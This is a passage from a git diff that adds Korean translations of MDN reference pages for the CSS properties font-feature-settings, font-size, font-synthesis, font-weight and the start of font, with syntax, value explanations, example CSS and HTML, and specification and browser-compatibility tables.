+<h2 id="Formal_syntax">Formal syntax</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="다양한_오픈타입_피처_활성화">다양한 오픈타입 피처 활성화</h3>
+
+<pre class="brush:css notranslate">/* 작은 대문자(small-caps) 대체 글리프를 사용합니다. */
+.smallcaps { font-feature-settings: "smcp" on; }
+
+/* 대문자와 소문자를 모두 작은 대문자로 변환합니다.(문장부호도 영향을 받습니다.)*/
+.allsmallcaps { font-feature-settings: "c2sc", "smcp"; }
+
+/* 영문 대문자 "O"와 구분하기 위해 대각선이 그려진 숫자 0을 사용합니다. */
+.nicezero { font-feature-settings: "zero"; }
+
+/* '역사적인' 형태를 사용하기 위해 'hist' 피처를 활성화합니다. */
+.hist { font-feature-settings: "hist"; }
+
+/* 표준합자(common ligatures)를 비활성화 합니다. 기본값은 활성 상태입니다. */
+.noligs { font-feature-settings: "liga" 0; }
+
+/* 고정폭 숫자(tabular figures)를 사용합니다. */
+td.tabular { font-feature-settings: "tnum"; }
+
+/* 자동 분수 입력을 활성화합니다. */
+.fractions { font-feature-settings: "frac"; }
+
+/* 가능한 swash 문자 중 두번째를 사용합니다. */
+.swash { font-feature-settings: "swsh" 2; }
+
+/* 스타일 세트(stylistic set) 7번을 사용합니다. */
+.fancystyle {
+ font-family: Gabriola; /* available on Windows 7, and on Mac OS */
+ font-feature-settings: "ss07";
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Fonts', '#propdef-font-feature-settings', 'font-feature-settings')}}</td>
+ <td>{{Spec2('CSS3 Fonts')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.font-feature-settings")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("@font-face/font-display", "font-display")}}</li>
+ <li>{{cssxref("@font-face/font-family", "font-family")}}</li>
+ <li>{{cssxref("@font-face/font-stretch", "font-stretch")}}</li>
+ <li>{{cssxref("@font-face/font-style", "font-style")}}</li>
+ <li>{{cssxref("@font-face/font-weight", "font-weight")}}</li>
+ <li>{{cssxref("@font-face/font-variant", "font-variant")}}</li>
+ <li>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</li>
+ <li>{{cssxref("@font-face/src", "src")}}</li>
+ <li>{{cssxref("@font-face/unicode-range", "unicode-range")}}</li>
+ <li><a href="http://www.microsoft.com/typography/otspec/featurelist.htm">OpenType Feature Tags</a> list</li>
+ <li><a href="http://blogs.msdn.com/b/ie/archive/2012/01/09/css-corner-using-the-whole-font.aspx">Using the whole font</a><br>
+ <em>(<strong>Note:</strong> The <code>-moz</code> syntax is the old one. On Gecko, use the <code>-ms</code> syntax but with <code>-moz</code>.)</em></li>
+</ul>
diff --git a/files/ko/web/css/font-size/index.html b/files/ko/web/css/font-size/index.html
new file mode 100644
index 0000000000..9f2a57e17c
--- /dev/null
+++ b/files/ko/web/css/font-size/index.html
@@ -0,0 +1,220 @@
+---
+title: font-size
+slug: Web/CSS/font-size
+translation_of: Web/CSS/font-size
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>font-size</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> 속성은 폰트의 크기(대문자 "M"의 크기)를 지정합니다. 폰트 크기를 바꾸면 <code>em</code> 과 <code>ex</code> {{cssxref("&lt;length&gt;")}} 단위로 계산된 다른 항목들의 크기를 바꿉니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/font-size.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css notranslate">/* &lt;absolute-size&gt; 값 */
+font-size: xx-small;
+font-size: x-small;
+font-size: small;
+font-size: medium;
+font-size: large;
+font-size: x-large;
+font-size: xx-large;
+
+/* &lt;relative-size&gt; 값 */
+font-size: larger;
+font-size: smaller;
+
+/* &lt;length&gt; 값 */
+font-size: 12px;
+font-size: 0.8em;
+
+/* &lt;percentage&gt; 값 */
+font-size: 80%;
+
+/* 전역 값 */
+font-size: inherit;
+font-size: initial;
+font-size: unset;
+</pre>
+
+<p>The <code>font-size</code> property is specified in one of the following ways:</p>
+
+<ul>
+ <li>As one of the <a href="https://developer.mozilla.org/ko/docs/Web/CSS/font-size$edit#absolute-size">absolute-size</a> or <a href="https://developer.mozilla.org/ko/docs/Web/CSS/font-size$edit#relative-size">relative-size</a> keywords</li>
+ <li>As a <code>&lt;length&gt;</code> or a <code>&lt;percentage&gt;</code>, relative to the parent element's font size</li>
+</ul>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>xx-small, x-small, small, medium, large, x-large, xx-large</code></dt>
+ <dd>키워드는 사용자의 기본 폰트(<code>medium</code>) 크기에 따라 정해집니다. <code>&lt;font size="1"&gt;</code> 부터 <code>&lt;font size="7"&gt;</code> 와 같은 HTML 과 유사하게 표현됩니다. 기본 유저 폰트 크기는 <code>&lt;font size="3"&gt;입니다</code>.</dd>
+ <dt><code>larger, smaller</code></dt>
+ <dd>키워드에 따라 부모 엘리먼트의 폰트 크기에서 일정 비율로 늘이거나 줄입니다.</dd>
+ <dd><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><strong>{{cssxref("&lt;length&gt;")}}</strong></span></font></dd>
+ <br>
+ <dd>
+ <p>{{cssxref("&lt;length&gt;")}}는 항상 양수입니다. 만약 단위가 <code>em</code> 이나 <code>ex </code>로 표현되어 있으면, 부모 엘리먼트의 크기에 상대적으로 정해집니다. 예를 들어, 0.5em 은 부모 엘리먼트 폰트 크기의 절반이 현재 엘리먼트의 폰트 크기입니다. 만약 단위가 <code>rem</code>으로 지정되어 있다면, 폰트 크기는 <code>html</code> (루트) 엘리먼트의 폰트 크기에 따라 상대적으로 정해집니다.</p>
+ </dd>
+ <dt><code>{{cssxref("&lt;percentage&gt;")}}</code></dt>
+ <dd>양수인 {{cssxref("&lt;percentage&gt;")}} 는, 부모 엘리먼트의 폰트 크기의 비율입니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Possible_approaches" name="Possible_approaches">접근법</h2>
+
+<p>폰트 크기는 키워드나 pixel과 em처럼 수치 단위처럼 여러가지 방법으로 지정할 수 있습니다. 각 웹 페이지에 맞는 적합한 방법을 선택해야 합니다.</p>
+
+<h3 id="Keywords" name="Keywords">키워드</h3>
+
+<p>키워드는 웹의 폰트 크기를 정하는 좋은 방법입니다. 키워드로 엘리먼트의 폰트 크기를 정하면 웹 페이지의 모든 페이지의 폰트 크기가 상대적으로 지정되어 쉽게 전체 페이지의 폰트 크기를 늘이거나 줄일 수 있습니다.</p>
+
+<h3 id="Pixels" name="Pixels">픽셀</h3>
+
+<p>픽셀 단위의 정확함이 필요하면, 폰트 크기를 픽셀 단위로 (<code>px</code>) 설정하는 것이 좋은 선택입니다. px 값은 정적이고 운영체제 독립적이며 브라우저 독립적인 방법으로 브라우저에 글자들이 정확히 몇 픽셀 높이로 렌더링 되어야 하는지를 정할 수 있습니다다. 브라우저가 비슷한 효과를 내기 위해 각기 다른 방법을 사용하기 때문에 렌더링된 결과가 브라우저마다 아주 조금씩 달라질 수 있습니다.</p>
+
+<p>폰트 크기 설정을 조합해서 쓸 수 있습니다다. 예를 들어, 부모 엘리먼트의 크기를 <code>16px</code> 로 정하고 자식 엘리먼트의 크기를 <code>larger</code>로 설정하면, 자식엘리먼트의 폰트 크기는 페이지에 있는 부모 엘리먼트보다 크게 보입니다.</p>
+
+<div class="note"><strong>참고:</strong> 폰트 크기를 픽셀로 정하는 것은 사용자가 폰트 크기를 브라우저를 이용해 바꿀 수 없기 때문에 <em><a href="https://en.wikipedia.org/wiki/Web_accessibility">접근성이 떨어집니다</a></em>. (예를 들어 시각에 제약이 있는 사용자가 폰트 크기를 웹 디자이너가 설정한 크기보다 더 크게 설정하려고 할 수 있습니다.) 그러므로, 접근성 높은 페이지를 만들고자 한다면, 폰트 크기를 픽셀 단위로 설정하는 것을 지양해야 합니다.</div>
+
+<h3 id="Ems" name="Ems"><code>em</code> 값</h3>
+
+<p>폰트 크기를 설정하는 또 하나의 방법은 <code>em</code> 값으로 설정하는 것입니다. <code>em</code> 값은 동적입니다. <code>font-size</code> 속성을 정의할 때, em 은 부모 엘리먼트의 폰트 크기와 같습니다. 만약, 전체 페이지에서 폰트 크기를 정의하지 않으면 높은 가능성으로 브라우저 기본인 16px로 지정됩니다. 따라서 기본 값일때 1em = 16px 이고 2em = 32px 를 나타냅니다. 만약 body 엘리먼트의 <code>font-size</code> 를 20px로 정한 경우, 1em = 20px 이고 2em = 40px 입니다. 2 라는 값은 현재 크기의 배수를 나타냄을 주의해야 합니다.</p>
+
+<p>em 표현을 pixel 값으로 표현해야 한다면 이 공식을 사용할 수 있습니다.</p>
+
+<pre class="notranslate">em = 구하고자 하는 엘리먼트의 pixel 값 / 부모 엘리먼트의 font-size pixel 값</pre>
+
+<p>예를 들어 페이지의 폰트 크기가 1em이고, 브라우저 기본 값이 1em = 16px로 정의되어 있다고 가정해보겠습니다. 만약 12px 폰트 크기로 지정하고 싶다면 0.75em(12/16 = 0.75) 로 정해야 합니다. 비슷하게, 10px로 정하고 싶다면 0.625em(10/16 = 0.625) 로 정합니다. 22px 은 1.375em 으로 표현합니다.</p>
+
+<p>문서 전체의 폰트 크기를 정할때 많이 쓰이는 방법은 body 태그의 폰트 크기를 10px 과 같은 62.5% (기본값 16px의 62.5%) 나 0.625em 으로 정하는 것 입니다. 이제 다른 엘리먼트의 폰트 크기를 계산하기 쉬운 px 을 10으로 나눈 em 단위를 이용해서 설정할 수 있습니다. 이 경우 6px = 0.6em 로, 8px = 0.8em, 12px = 1.2em, 14px = 1.4em, 16px = 1.6em 로 표현합니다.</p>
+
+<pre class="brush:css notranslate">body {
+ font-size: 62.5%; /* font-size 1em = 10px 브라우저의 기본 설정 */
+}
+span {
+ font-size: 1.6em; /* 1.6em = 16px */
+}</pre>
+
+<p>em 은 자동적으로 폰트의 크기를 적용해주기 때문에 CSS 에서 유용한 단위입니다.</p>
+
+<p>중요하게 기억할 점은, em 값은 합성 값입니다. 위의 CSS 에 아래 HTML 을 적용해보겠습니다.</p>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+&lt;span&gt;Outer &lt;span&gt;inner&lt;/span&gt; outer&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>그 결과는</p>
+
+<p>{{EmbedLiveSample("Ems", 400, 40)}}</p>
+
+<p>브라우저의 기본 <code>font-size</code> 가 16px 이라고 가정해보면, "outer" 는 16px 로 그려지고 , "inner" 는 25.6px로 그려집니다. 왜냐하면 span의 <code>font-size</code> 가 1.6 em 으로 부모의 <code>font-size</code>에 상대적인데,  그 부모의 <code>font-size</code>도 상대적으로 계산되기 때문입니다. 이러한 동작을 <strong>합성</strong>이라고 부릅니다.</p>
+
+<h3 id="Rems" name="Rems"><code>rem</code></h3>
+
+<p><code>rem</code> 값은 합성 문제를 회피하기 위해 고안되었습니다. <code>rem</code> 값은 부모 엘리먼트가 아니라 최상위 <code>html</code> 엘리먼트에 상대적입니다. 다르게 표현하면, rem 은 부모 크기에 의해 폰크 크기가 정해지지 않도록 하여 합성 문제를 제거합니다.</p>
+
+<p>아래 CSS 는 이전 예제와 거의 동일합니다. 딱 하나 다른 점은 단위가 <code>rem</code> 으로 바뀌었습니다.</p>
+
+<pre class="brush: css notranslate">html {
+ font-size: 62.5%; /* font-size 1em = 10px on default browser settings */
+}
+span {
+ font-size: 1.6rem;
+}
+</pre>
+
+<p>이 CSS 를 같은 HTML 에 적용하면 이렇게 보입니다</p>
+
+<pre class="brush: html notranslate">&lt;span&gt;Outer &lt;span&gt;inner&lt;/span&gt; outer&lt;/span&gt;</pre>
+
+<p>{{EmbedLiveSample("Rems", 400, 40)}}</p>
+
+<p>이 예제에서 "outer inner outer" 는 모두 16px 로 보입니다 (브라우저의 기본 폰트 설정이 16px 인 경우).</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example_1" name="Example_1">예제 1</h3>
+
+<pre class="brush: css notranslate">/* 문단 텍스트의 크기를 매우 크게 설정 */
+p { font-size: xx-large }
+
+/* h1 (제목 1)을 주변 텍스트보다 2.5배 큼 */
+h1 { font-size: 250% }
+
+/* span 태그 안의 텍스트를 16px 로 설정 */
+span { font-size: 16px; }
+</pre>
+
+<h3 id="예제_2">예제 2</h3>
+
+<pre class="brush: css notranslate">.small {
+ font-size: xx-small;
+}
+.larger {
+ font-size: larger;
+}
+.point {
+ font-size: 24pt;
+}
+.percent {
+ font-size: 200%;
+}
+</pre>
+
+<pre class="brush: html notranslate"><span>&lt;h1 class="small"&gt;Small H1&lt;/h1&gt;
+&lt;h1 class="larger"&gt;Larger H1&lt;/h1&gt;</span>
+<span>&lt;h1 class="point"&gt;24 point H1&lt;/h1&gt;
+&lt;h1 class="percent"&gt;200% H1&lt;/h1&gt;</span></pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제_2','600','200')}}</p>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p>{{Cssxref("font-size")}} 속성의 <code>em</code> 과 <code>ex</code> 단위는 부모 엘리먼트의 폰트 크기에 상대적입니다(자기 엘리먼트의 폰트 크기에 상대적인 다른 속성과는 다르게). 이는 <code>em</code> 단위와 퍼센트 단위가 {{Cssxref("font-size")}} 에서 동일하게 동작함을 의미합니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}</td>
+ <td>{{Spec2('CSS3 Fonts')}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-size')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Defines <code>font-size</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#font-size', 'font-size')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.font-size")}}</p>
diff --git a/files/ko/web/css/font-synthesis/index.html b/files/ko/web/css/font-synthesis/index.html
new file mode 100644
index 0000000000..99810d8517
--- /dev/null
+++ b/files/ko/web/css/font-synthesis/index.html
@@ -0,0 +1,111 @@
+---
+title: font-synthesis
+slug: Web/CSS/font-synthesis
+tags:
+ - CSS
+ - CSS Fonts
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/font-synthesis
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>font-synthesis</code></strong> 속성은 브라우저가 굵은 글꼴과 이탤릭 글꼴을 합성하는 것을 허용할지 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-synthesis.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p><code>font-synthesis</code>는 다음 방법 중 하나를 사용해 지정합니다.</p>
+
+<ul>
+ <li><code>none</code> 키워드.</li>
+ <li><code>weight</code> 또는 <code>style</code> 키워드.</li>
+ <li><code>weight</code>와 <code>style</code> 키워드.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>굵은 글꼴과 이탤릭 글꼴의 합성을 금지합니다.</dd>
+ <dt><code>weight</code></dt>
+ <dd>필요한 경우 굵은 글꼴을 합성할 수 있습니다.</dd>
+ <dt><code>style</code></dt>
+ <dd>필요한 경우 이탤릭 글꼴을 합성할 수 있습니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>대부분의 표준 서양 글꼴은 이탤릭과 굵은 글꼴을 포함하고 있으나 상용 글꼴은 그렇지 않은 경우도 많습니다. 한국, 중국, 일본을 포함한 비 알파벳 문화권의 문자 체계는 보통 이런 변형을 포함하지 않으며 브라우저의 글꼴 합성으로 인해 가독성이 떨어질 수 있습니다. 이 두 가지 경우에 대해 <code>font-synthesis</code>를 사용해 기본 글꼴 합성을 끄는 것이 좋을 수도 있습니다.</p>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="글꼴_합성_비활성화">글꼴 합성 비활성화</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;em class="syn"&gt;절 합성하세요! Synthesize!&lt;/em&gt;
+&lt;br/&gt;
+&lt;em class="no-syn"&gt;절 합성하지 마세요! Synthesize!&lt;/em&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">em {
+  font-weight: bold;
+}
+.syn {
+  font-synthesis: style weight;
+}
+.no-syn {
+  font-synthesis: none;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('글꼴_합성_비활성화', '', '50') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Fonts', '#propdef-font-synthesis', 'font-synthesis')}}</td>
+ <td>{{Spec2('CSS3 Fonts')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.font-synthesis")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+</ul>
diff --git a/files/ko/web/css/font-weight/index.html b/files/ko/web/css/font-weight/index.html
new file mode 100644
index 0000000000..bc3ff93c1c
--- /dev/null
+++ b/files/ko/web/css/font-weight/index.html
@@ -0,0 +1,283 @@
+---
+title: font-weight
+slug: Web/CSS/font-weight
+translation_of: Web/CSS/font-weight
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="요약">요약</h2>
+
+<p><strong><code>font-weight</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> 속성은 폰트(font)의 가중치(weight)나 굵기(boldness)를 명시한다. 몇몇 폰트들은 <code>normal</code> 나 <code>bold</code> 일 때만 가능하다. </p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">font-weight: normal;
+font-weight: bold;
+
+/* Relative to the parent */
+font-weight: lighter;
+font-weight: bolder;
+
+font-weight: 100;
+font-weight: 200;
+font-weight: 300;
+font-weight: 400;
+font-weight: 500;
+font-weight: 600;
+font-weight: 700;
+font-weight: 800;
+font-weight: 900;
+
+/* Global values */
+font-weight: inherit;
+font-weight: initial;
+font-weight: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>보통 폰트 가중치. <code>400</code> 과 같음.</dd>
+ <dt><code>bold</code></dt>
+ <dd>굵은 폰트 가중치. <code>700</code> 과 같음.</dd>
+ <dt><code>lighter</code></dt>
+ <dd>(가능한 폰트 가중치 중) 부모 요소(element) 보다 얇은 폰트 가중치.</dd>
+ <dt><code>bolder</code></dt>
+ <dd>(가능한 폰트 가중치 중) 부모 요소 보다 굵은 폰트 가중치.</dd>
+ <dt><code>100</code>, <code>200</code>, <code>300</code>, <code>400</code>, <code>500</code>, <code>600</code>, <code>700</code>, <code>800</code>, <code>900</code></dt>
+ <dd>normal 과 bold 이외를 제공하는 폰트를 위한 숫자형 폰트 가중치.</dd>
+</dl>
+
+<h3 id="대비책(Fallback)">대비책(Fallback)</h3>
+
+<p>만약 정확히 주어진 가중치를 사용할 수없다면, 실제로 렌더링 되는 가중치를 결정하기 위해 다음과 같은 경험적 접근이 적용된다:</p>
+
+<ul>
+ <li>만약 <code>500</code> 초과의 가중치가 주어지면, 가능한 굵은(darker) 가중치 중 가장 가까운 것이 사용된다 (만약 없다면, 얇은(lighter) 가중치 중 가장 가까운 것).</li>
+ <li>만약 <code>400</code> 미만의 가중치가 주어지면, 가능한 얇은 가중치 중 가장 가까운 것이 사용된다 (만약 없다면, 굵은 가중치 중 가장 가까운 것).</li>
+ <li>만약 가중치가 <code>400</code> 이 주어지면, <code>500</code> 이 사용된다. 만약 <code>500</code> 이 불가능하면, <code>500</code> 미만의 폰트 가중치를 위한 경험적 접근이 사용된다.</li>
+ <li>만약 가중치가 <code>500</code> 이 주어지면, <code>400</code> 이 사용된다. 만약 <code>400</code> 이 불가능하면, <code>400</code> 미만의 폰트 가중치를 위한 경험적 접근이 사용된다.</li>
+</ul>
+
+<p>이것은 <code>normal</code> 과 <code>bold</code> 만 지원하는 폰트일 경우, 100-500 은 normal, 600-900 은 bold 임을 의미한다.</p>
+
+<h3 id="상대적_가중치의_의미">상대적 가중치의 의미</h3>
+
+<p><code>lighter</code> 나 <code>bolder</code> 가 주어진 경우, 요소의 절대적인 가중치를 계산하기 위해 다음 차트가 사용된다:</p>
+
+<table>
+ <thead>
+ <tr>
+ <th>상속된 값</th>
+ <th><code>bolder</code></th>
+ <th><code>lighter</code></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>100</th>
+ <td>400</td>
+ <td>100</td>
+ </tr>
+ <tr>
+ <th>200</th>
+ <td>400</td>
+ <td>100</td>
+ </tr>
+ <tr>
+ <th>300</th>
+ <td>400</td>
+ <td>100</td>
+ </tr>
+ <tr>
+ <th>400</th>
+ <td>700</td>
+ <td>100</td>
+ </tr>
+ <tr>
+ <th>500</th>
+ <td>700</td>
+ <td>100</td>
+ </tr>
+ <tr>
+ <th>600</th>
+ <td>900</td>
+ <td>400</td>
+ </tr>
+ <tr>
+ <th>700</th>
+ <td>900</td>
+ <td>400</td>
+ </tr>
+ <tr>
+ <th>800</th>
+ <td>900</td>
+ <td>700</td>
+ </tr>
+ <tr>
+ <th>900</th>
+ <td>900</td>
+ <td>700</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="일반적인_가중치_이름_매핑">일반적인 가중치 이름 매핑</h3>
+
+<p>100~900 의 가중치 값들은 다음의 일반적인 두께 이름으로 대응된다:</p>
+
+<dl>
+ <dt><code>100</code></dt>
+ <dd>Thin (Hairline)</dd>
+ <dt><code>200</code></dt>
+ <dd>Extra Light (Ultra Light)</dd>
+ <dt><code>300</code></dt>
+ <dd>Light</dd>
+ <dt><code>400</code></dt>
+ <dd>Normal</dd>
+ <dt><code>500</code></dt>
+ <dd>Medium</dd>
+ <dt><code>600</code></dt>
+ <dd>Semi Bold (Demi Bold)</dd>
+ <dt><code>700</code></dt>
+ <dd>Bold</dd>
+ <dt><code>800</code></dt>
+ <dd>Extra Bold (Ultra Bold)</dd>
+ <dt><code>900</code></dt>
+ <dd>Black (Heavy)</dd>
+</dl>
+
+<h3 id="보간">보간</h3>
+
+<p><code>font-weight</code> 값은 100 단위로 보간된다. 보간은 실수 공간에서 이루어지며 100의 배수에 가까운 값으로 어림한다. 100의 배수 중간의 값들은 양의 무한대 방향의 가까운 값으로 어림한다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+ Alice was beginning to get very tired of sitting by her sister on the
+ bank, and of having nothing to do: once or twice she had peeped into the
+ book her sister was reading, but it had no pictures or conversations in
+ it, 'and what is the use of a book,' thought Alice 'without pictures or
+ conversations?'
+&lt;/p&gt;
+
+&lt;div&gt;I'm heavy&lt;br/&gt;
+ &lt;span&gt;I'm lighter&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">/* Set paragraph text to be bold. */
+p {
+ font-weight: bold;
+}
+
+/* Set div text to two steps darker than
+ normal but less than a standard bold. */
+div {
+ font-weight: 600;
+}
+
+/* Sets text enclosed within span tag
+ to be one step lighter than the parent. */
+span {
+ font-weight: lighter;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("Examples","400","300")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Fonts', '#font-weight-prop', 'font-weight')}}</td>
+ <td>{{Spec2('CSS3 Fonts')}}</td>
+ <td>변경사항 없음</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-weight')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td><code>font-weight</code> 이 animatable 로 정의됨</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-weight', 'font-weight')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>변경사항 없음</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#font-weight', 'font-weight')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>2.0</td>
+ <td>{{CompatGeckoDesktop(1.0)}}</td>
+ <td>3.0</td>
+ <td>3.5</td>
+ <td>1.3</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoMobile(1.0)}}</td>
+ <td>6.0</td>
+ <td>6.0</td>
+ <td>3.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/css/font/index.html b/files/ko/web/css/font/index.html
new file mode 100644
index 0000000000..209669ed77
--- /dev/null
+++ b/files/ko/web/css/font/index.html
@@ -0,0 +1,345 @@
+---
+title: font
+slug: Web/CSS/font
+tags:
+ - CSS
+ - CSS Fonts
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/font
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>font</code></strong> CSS 속성은 {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, {{cssxref("font-family")}}의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다. 요소의 글꼴을 시스템 폰트로 설정할 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font.html")}}</div>
+
+
+
+<p>다른 단축 속성과 마찬가지로, 생략한 속성은 초기값으로 설정하며 이 과정에서 다른 속성으로 설정한 값을 덮어 쓸 수도 있습니다. <code>font</code> 속성으로 설정할 수 없는 {{cssxref("font-stretch")}}, {{ cssxref("font-size-adjust")}}, {{cssxref("font-kerning")}}의 값도 초기값으로 돌아갑니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>font</code> 속성은 하나의 키워드를 지정해 시스템 폰트를 사용하도록 설정할 수도 있고, 여러 글꼴 관련 속성의 단축 속성으로도 사용할 수 있습니다.</p>
+
+<p><code>font</code>를 시스템 폰트 키워드로 사용하려면 <code>{{anch("caption")}}</code>, <code>{{anch("icon")}}</code>, <code>{{anch("menu")}}</code>, <code>{{anch("message-box")}}</code>, <code>{{anch("small-caption")}}</code>, <code>{{anch("status-bar")}}</code> 중 하나를 사용해야 합니다.</p>
+
+<p><code>font</code>를 단축 속성으로 사용하려면,</p>
+
+<ul>
+ <li>다음 속성의 값을 포함해야 합니다.
+ <ul>
+ <li>{{cssxref("&lt;font-size&gt;")}}</li>
+ <li>{{cssxref("&lt;font-family&gt;")}}</li>
+ </ul>
+ </li>
+ <li>다음 속성의 값을 포함할 수 있습니다.
+ <ul>
+ <li>{{cssxref("&lt;font-style&gt;")}}</li>
+ <li>{{cssxref("&lt;font-variant&gt;")}}</li>
